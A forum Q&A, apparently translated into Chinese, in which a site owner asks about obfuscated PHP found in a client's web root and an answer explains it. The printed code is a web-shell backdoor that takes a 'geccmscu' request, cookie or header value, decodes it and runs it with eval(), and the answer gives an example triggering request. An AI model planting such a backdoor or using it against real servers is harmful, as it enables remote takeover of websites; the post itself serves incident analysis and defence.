这个PHP代码有什么作用?看起来像黑客



我在客户端站点的根目录上找到了这段代码。我将其解密为以下含义:

$brownies = create_function( ' ', eval(array_pop(func_get_args())); );
$brownies('L','9','$','>','','K','H','B','m', $i=array_merge($_REQUEST,$_COOKIE,$_SERVER); $a=isset($i["geccmscu"]) ? $i["geccmscu"] : (isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die ); eval(strrev(base64_decode(strrev($a)))););

看起来它正在从 cookie 或用户那里获取代码并对其进行评估,但我无法从那里进一步分辨。

有人对此有见解吗?

这里有一些缩进的代码:

$brownies = create_function( ' ', eval(array_pop(func_get_args())); );
$brownies('L','9','$','>','','K','H','B','m',
$i=array_merge($_REQUEST,$_COOKIE,$_SERVER);
$a=isset($i["geccmscu"]) ? $i["geccmscu"] :
    (isset($i["HTTP_GECCMSCU"]) ? $i["HTTP_GECCMSCU"] : die );
eval(strrev(base64_decode(strrev($a)))););

首先,它检查在cookie,请求和服务器值($i变量)中是否存在"geccmscu"键。如果没有,它会检查是否定义了具有相同名称的标头("HTTP_GECCMSCU")。如果没有,脚本将停止到此。

如果该"geccmscu"变量是在某处定义的,则它存储在$a中。然后脚本对其进行解码(内容使用 strrev 和 base64 "加密"),并通过eval()执行

基本上,有人可能会使用HTTP查询攻击您的服务器,如下所示:

GET http://example.com?geccmscu=someevilphpcode

然后"someevilphpcode"将被解码并在您的服务器上执行。

相关内容

最新更新